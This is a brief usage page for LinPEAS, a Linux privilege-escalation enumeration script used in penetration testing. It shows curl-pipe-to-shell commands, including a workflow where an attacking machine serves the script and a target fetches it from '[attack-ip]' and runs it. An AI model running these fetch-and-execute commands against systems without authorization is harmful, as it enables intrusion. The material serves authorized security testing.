LinPEAS - Linux Privilege Escalation Awesome Script
see the github repository
What is LinPEAS?
LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on book.hacktricks.xyz
Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz.
How to use LinPEAS
Direct download
$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Provided by attacking machine
in case the target machine has no access to the internet it is possible to download the script first and provide it via the attacking machine
Attacking Machine
$ wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
$ python3 -m http.server 80
if no wget available curl <REPO>/releases/latest/download/linpeas.sh > linpeas.sh
Target Machine
$ curl -L [attack-ip]/linpeas.sh | sh
or
$ wget -q [attack-ip]/linpeas.sh
$ sh linpeas.sh